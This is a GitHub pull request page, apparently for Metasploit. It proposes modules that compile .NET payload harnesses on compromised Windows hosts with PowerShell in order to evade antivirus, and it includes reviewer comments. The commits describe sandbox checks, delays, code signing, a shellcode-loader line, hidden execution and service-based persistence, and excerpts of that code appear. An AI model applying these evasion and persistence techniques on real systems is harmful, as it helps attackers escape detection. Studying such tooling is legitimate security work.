Dynamic Executables via .NET with Hostess' DotNetAvBypass #701

Closed
wants to merge 10 commits into
from

Projects

None yet

3 participants

@sempervictus

This pull request adds the following end user functionality:
dynamic .NET code builder module: builds .NET code with powershell
.NET AV Bypass: uses Matt Andreko's .NET AV Bypass as a template and compiles on the remote host
Service template has some additional AV evasion built in (localhost:445 check for sandboxing, delay)
Original sources at https://github.com/mandreko/DotNetAVBypass
Current user psexec: modified to use on-host payloads

Changes in lib allow for cleaner execution of powershell scripts, along with greedy cleanup. Added core methods for generating .NET compiler scripts and powershell .NET elevators (to load different .NET CLR versions into the shell).

At present, the generated payloads pass VT with 0/43 hits. Once in trunk these binaries will be flagged pretty quickly, but additional obfuscation is possible and we request that programmatic obfuscation methods be submitted for pull request. I've not yet found a reasonable way to parse and obfuscate c#/vb.net with ruby or powershell, so suggestions are welcome.

RageLtMan added some commits Aug 14, 2012
RageLtMan update psh-net encoder with dynamic function name ed21bc0
RageLtMan Initial Framework Commit of .NET dynamic EXE
This commit adds powershell functionality to dynamically compile .NET code.
Initially this is used to embed payloads into Matt Andreko's (hostess)
.NET AV Bypass harnesses which he has kindly modified to offer an EXE
and a service to host payloads. We've added a localhost:445 check to the
service sources to check for sandboxing, an will be porting service code
enhancements back to the EXE.

Post::Windows::Powershell dot_net_compiler method takes an options hash
which currently needs either source code or a a file path. Other options
currently include a code provider (can use VB.net too), payload, cert (see below),
and compiler options.

Payload space should be marked as MSF_PAYLOAD_SPACE for substitution on load.
Lastly, a path to a PFX certificate on the host can be passed to the dot_net_compiler,
powershell can "Set-AuthenticodeSignature" the resulting EXE for more AV evasion.
The Exploit::Local module is still in local testing and will be commited at the
next pass.

TODO: massive testing, checks for installed .NET versions - we should be able to
use 3.5 just fine, a .NET 3.5 loader, self-signed certificate generation and
import to the keystore - make us trusted even without a proper code signing cert.
Ideally the harnesses should compile in .NET 2.0+, Hostess is working to resolve.
Should also convert the bypassuac sources to single-file assemblies for in-memory
compilation and potential use without dropping an EXE whatsoever.
18474d7
RageLtMan Created Powershell::DotNet namespace
Added initial persistence module
Added assemblies option and generation to .net compiler
Service compiles, but does not install/run properly (sc create works)
983cf35
RageLtMan Fixed Windows Service generation, improved module
Added service options to model
Added certificate options
Created delay for compiler lag - output binary would often drop
only after the module tried to access it
Added .NET 3.5 exec wrapper for compiler

TODO:
Create PS handlers to kill exec wrappers on completion
  Currently stale powershell procs remain in testing
Create lib functions to enumerate available assemblies
  Dynamically parse assembly requirements and feed to PS
008e4ff
RageLtMan Added x86 runtime compatibility mode to .NET CLR elevator 0d2bd08
RageLtMan Fixed svc generation and updated powershell.rb
Service template had windows ASCII-8bit encoding garbage
Added execution time and log options to powershell mixin
Refactored powershell logging and output
ad25fd0
RageLtMan Cleaned up module and powershell execution
Powershell can execute other powershells, and we dont know the PIDs.
Adde a greedy_kill option to powershell execution which tries to
compare prior ps.exe PIDs with new ones after execution.

Module now checks to see if its running as SYSTEM - it cant compile .NET
Module can remove services and delete the binaries.
Module provides a bunch of debug output about what its doing.
aae8c55
RageLtMan Generic .NET code compilation post module
Added post module to compile .NET source code.
This module is a generalized PoC for the method used to build hostess'
dot net av bypass harnesses. Takes source code, compiler options, and
can run the generated binary on completion. Handy when spinning up
the IDE is pointless.

Current user psexec can also take a local file option and a delay
to make use of the .NET generated service payload and wait for its
delayed shellcode exec.

Minor lib cleanup for dot_net methods and opt handling
71ceb08
RageLtMan change net_clr requirement to float 4b2a6df
RageLtMan Fix net_clr version check 214677c
@jlee-r7 jlee-r7 commented on the diff Aug 20, 2012
lib/msf/core/post/windows/powershell/dot_net.rb
+ def dot_net_compiler(opts = {})
+ #TODO:
+ # allow compilation entirely in memory with a b64 encoded product for export without disk access
+ # Dynamically assign assemblies based on dot_net_code require/includes
+ # Enumerate assemblies available to session, pull requirements, assign accordingly, pass to PS
+
+ # Critical
+ dot_net_code = opts[:harness]
+ if ::File.file?(dot_net_code)
+ dot_net_code = ::File.read(dot_net_code)
+ #vprint_good("Read file in #{dot_net_code.encoding.name} encoding")
+ end
+ return if dot_net_code.nil? or dot_net_code.empty?
+
+ # Ensure we're not running ASCII-8bit through powershell
+ dot_net_code = dot_net_code.force_encoding('ASCII')
@jlee-r7
jlee-r7 Aug 20, 2012

Fails on 1.8; add something like if dot_net_code.respond_to? :force_encoding

@jlee-r7 jlee-r7 commented on the diff Aug 20, 2012
lib/msf/util/exe.rb
@@ -1120,12 +1121,12 @@ def self.to_win32pe_psh_net(framework, code, opts={})
end
psh << lines.join("") + "\r\n\r\n"
- psh << "$#{var_baseaddr} = [#{var_kernel32}.func]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.func+AllocationType]::Reserve -bOr [#{var_kernel32}.func+AllocationType]::Commit, [#{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)\r\n"
+ psh << "$#{var_baseaddr} = [#{var_kernel32}.#{var_function}]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.#{var_function}+AllocationType]::Reserve -bOr [#{var_kernel32}.#{var_function}+AllocationType]::Commit, [#{var_kernel32}.#{var_function}+MemoryProtection]::ExecuteReadWrite)\r\n"
@jlee-r7
jlee-r7 Aug 20, 2012

Ridiculously long line. 100 columns, please

@jlee-r7 jlee-r7 commented on the diff Aug 20, 2012
modules/exploits/windows/local/ps_persist.rb
+ OptString.new('CERT_PATH', [false, 'Path on host to .pfx fomatted certificate for signing' ]),
+ OptBool.new('SVC_REMOVE', [false, 'Remove Windows service named SVC_NAME']),
+
+ ], self.class)
+
+ end
+
+ def exploit
+
+ # Make sure we meet the requirements before running the script
+ if !(session.type == "meterpreter" || have_powershell?)
+ print_error("Incompatible Environment")
+ return 0
+ end
+ # Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
+ if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
@jlee-r7
jlee-r7 Aug 20, 2012

This string is localized. Check will fail if we're running on a non-English system

@jlee-r7 jlee-r7 commented on the diff Aug 20, 2012
modules/exploits/windows/local/ps_persist.rb
+ end
+ # Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
+ if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
+ print_error("Cannot run as system")
+ return 0
+ end
+
+
+
+ # End of file marker
+ eof = Rex::Text.rand_text_alpha(8)
+ env_suffix = Rex::Text.rand_text_alpha(8)
+
+ com_opts = {}
+ com_opts[:net_clr] = '4.0'.to_f # Min .NET runtime to load into a PS session
+ com_opts[:target] = datastore['OUTPUT_TARGET'] || session.fs.file.expand_path('%TEMP%') + "\\#{ Rex::Text.rand_text_alpha(rand(8)+8) }.exe"
@jlee-r7
jlee-r7 Aug 20, 2012

datastore options may come in as an empty string. Better would be something like:

com_opts[:target] = datastore["OUTPUT_TARGET"]
if com_opts[:target].nil? or com_opts[:target].empty?
    com_opts[:target] = ...
end
@jlee-r7 jlee-r7 commented on the diff Aug 20, 2012
modules/exploits/windows/local/ps_persist.rb
+ print_error("Cannot run as system")
+ return 0
+ end
+
+
+
+ # End of file marker
+ eof = Rex::Text.rand_text_alpha(8)
+ env_suffix = Rex::Text.rand_text_alpha(8)
+
+ com_opts = {}
+ com_opts[:net_clr] = '4.0'.to_f # Min .NET runtime to load into a PS session
+ com_opts[:target] = datastore['OUTPUT_TARGET'] || session.fs.file.expand_path('%TEMP%') + "\\#{ Rex::Text.rand_text_alpha(rand(8)+8) }.exe"
+ com_opts[:payload] = payload_script
+ if datastore['SVC_GEN']
+ com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe', 'dot_net_service.cs')
@jlee-r7
jlee-r7 Aug 20, 2012

files that are used directly should not live in external/source/. Move this to data/

@jlee-r7 jlee-r7 commented on the diff Aug 20, 2012
modules/exploits/windows/local/ps_persist.rb
+ if datastore['SVC_GEN']
+ service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], com_opts[:target].gsub('\\','\\\\'), startup=2, server=nil)
+ if service_start(datastore['SVC_NAME']).to_i == 0
+ vprint_good("Service Started")
+ end
+ else
+ session.sys.process.execute(com_opts[:target].gsub('\\','\\\\'), nil, {'Hidden' => true, 'Channelized' => true})
+ end
+ end
+
+
+ print_good('Finished!')
+ end
+
+
+ # This should be handled by the exploit mixin, right?
@jlee-r7
jlee-r7 Aug 20, 2012

Yes, you definitely should not be creating payloads yourself.

@sempervictus
sempervictus Aug 20, 2012

Though i concur i'm a bit hazy on how to do this. I tried adding payload options like normal exploits have at the init hash, but they're not taken into account. Could you provide a quick mock-up for me to work from?

@jlee-r7 jlee-r7 commented on the diff Aug 20, 2012
modules/post/windows/manage/powershell/build_net_code.rb
+require 'msf/core/post/windows/powershell'
+require 'msf/core/post/windows/powershell/dot_net'
+
+class Metasploit3 < Msf::Post
+ Rank = ExcellentRanking
+
+ include Msf::Post::Windows::Powershell
+ include Msf::Post::Windows::Powershell::DotNet
+
+ def initialize(info={})
+ super(update_info(info,
+ 'Name' => "Powershell .NET Compiler",
+ 'Description' => %q{
+ This module will build a .NET source file using powershell. The compiler builds
+ the executable or library in memory and produces a binary. After compilation the
+ PoweShell session can also sign the executable if provided a path the a .pfx formatted
@jlee-r7
jlee-r7 Aug 20, 2012

Typos.
s/PoweShell/PowerShell/
s/path the a/path to a/

@jlee-r7 jlee-r7 commented on the diff Aug 20, 2012
modules/post/windows/manage/powershell/build_net_code.rb
+ in the datastore.
+ },
+ 'License' => MSF_LICENSE,
+ 'Version' => '$Revision$',
+ 'Author' => 'RageLtMan <rageltman[at]sempervictus>',
+ 'Platform' => [ 'windows' ],
+ 'SessionTypes' => [ 'meterpreter' ],
+ 'Targets' => [ [ 'Universal', {} ] ],
+ 'DefaultTarget' => 0,
+
+ ))
+
+ register_options(
+ [
+ OptPath.new('SOURCE_FILE', [true, 'Path to source code']),
+ OptBool.new('RUN_BINARY', [false, 'Execute the genrated binary', false]),
@jlee-r7
jlee-r7 Aug 20, 2012

s/genrated/generated/

@jlee-r7 jlee-r7 commented on the diff Aug 20, 2012
modules/post/windows/manage/powershell/build_net_code.rb
+ register_advanced_options(
+ [
+ OptString.new('NET_CLR_VER', [false, 'Minimun NET CLR version required to compile', '3.5']),
+ ], self.class)
+
+ end
+
+ def exploit
+
+ # Make sure we meet the requirements before running the script
+ if !(session.type == "meterpreter" || have_powershell?)
+ print_error("Incompatible Environment")
+ return 0
+ end
+ # Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
+ if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
@jlee-r7
jlee-r7 Aug 20, 2012

Localized, see above.

@sempervictus
sempervictus Aug 20, 2012

Whats the non-localized way to get privilege level?

@todb-r7 todb-r7 closed this Aug 22, 2012
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment